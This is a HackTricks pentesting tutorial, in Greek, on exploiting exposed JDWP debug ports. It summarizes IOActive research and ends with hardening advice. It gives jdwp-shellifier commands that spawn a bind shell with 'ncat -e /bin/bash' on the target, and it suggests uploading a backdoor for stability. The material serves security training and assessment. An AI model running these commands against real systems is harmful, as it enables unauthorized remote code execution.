Pentesting JDWP - Java Debug Wire Protocol
Reading time: 4 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Εκμετάλλευση
Η εκμετάλλευση του JDWP βασίζεται στην έλλειψη αυθεντικοποίησης και κρυπτογράφησης του πρωτοκόλλου. Γενικά βρίσκεται σε θύρα 8000, αλλά είναι δυνατές και άλλες θύρες. Η αρχική σύνδεση γίνεται στέλνοντας ένα "JDWP-Handshake" στη στοχευμένη θύρα. Εάν μια υπηρεσία JDWP είναι ενεργή, απαντά με την ίδια συμβολοσειρά, επιβεβαιώνοντας την παρουσία της. Αυτή η χειραψία λειτουργεί ως μέθοδος αναγνώρισης για την ταυτοποίηση υπηρεσιών JDWP στο δίκτυο.
Όσον αφορά την αναγνώριση διαδικασιών, η αναζήτηση της συμβολοσειράς "jdwk" σε διαδικασίες Java μπορεί να υποδείξει μια ενεργή συνεδρία JDWP.
Το εργαλείο αναφοράς είναι το jdwp-shellifier. Μπορείτε να το χρησιμοποιήσετε με διάφορες παραμέτρους:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
Βρήκα ότι η χρήση του --break-on 'java.lang.String.indexOf'
καθιστά την εκμετάλλευση πιο σταθερή. Και αν έχετε την ευκαιρία να ανεβάσετε ένα backdoor στον host και να το εκτελέσετε αντί να εκτελέσετε μια εντολή, η εκμετάλλευση θα είναι ακόμη πιο σταθερή.
Περισσότερες λεπτομέρειες
Αυτή είναι μια περίληψη του https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Ελέγξτε το για περισσότερες λεπτομέρειες.
- Επισκόπηση JDWP:
- Είναι ένα πρωτόκολλο δικτύου με βάση τα πακέτα, κυρίως συγχρονισμένο.
- Λείπει η αυθεντικοποίηση και η κρυπτογράφηση, καθιστώντας το ευάλωτο όταν εκτίθεται σε εχθρικά δίκτυα.
- Χειραψία JDWP:
- Χρησιμοποιείται μια απλή διαδικασία χειραψίας για την έναρξη της επικοινωνίας. Ανταλλάσσεται μια ASCII συμβολοσειρά 14 χαρακτήρων “JDWP-Handshake” μεταξύ του Debugger (πελάτης) και του Debuggee (διακομιστής).
- Επικοινωνία JDWP:
- Τα μηνύματα έχουν μια απλή δομή με πεδία όπως Μήκος, Id, Σημαία και CommandSet.
- Οι τιμές του CommandSet κυμαίνονται από 0x40 έως 0x80, αντιπροσωπεύοντας διάφορες ενέργειες και γεγονότα.
- Εκμετάλλευση:
- Το JDWP επιτρέπει τη φόρτωση και την εκτέλεση αυθαίρετων κλάσεων και bytecode, θέτοντας σε κίνδυνο την ασφάλεια.
- Το άρθρο περιγράφει μια διαδικασία εκμετάλλευσης σε πέντε βήματα, που περιλαμβάνει την ανάκτηση αναφορών Java Runtime, την ρύθμιση σημείων διακοπής και την εκτέλεση μεθόδων.
- Εκμετάλλευση στην Πραγματική Ζωή:
- Παρά τις πιθανές προστασίες τείχους προστασίας, οι υπηρεσίες JDWP είναι ανακαλύψιμες και εκμεταλλεύσιμες σε πραγματικά σενάρια, όπως αποδεικνύεται από αναζητήσεις σε πλατφόρμες όπως το ShodanHQ και το GitHub.
- Το σενάριο εκμετάλλευσης δοκιμάστηκε σε διάφορες εκδόσεις JDK και είναι ανεξάρτητο από την πλατφόρμα, προσφέροντας αξιόπιστη Εκτέλεση Κώδικα από Απόσταση (RCE).
- Σημασία Ασφάλειας:
- Η παρουσία ανοιχτών υπηρεσιών JDWP στο διαδίκτυο υπογραμμίζει την ανάγκη για τακτικές ανασκοπήσεις ασφάλειας, απενεργοποίηση λειτουργιών αποσφαλμάτωσης στην παραγωγή και σωστές ρυθμίσεις τείχους προστασίας.
Αναφορές:
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.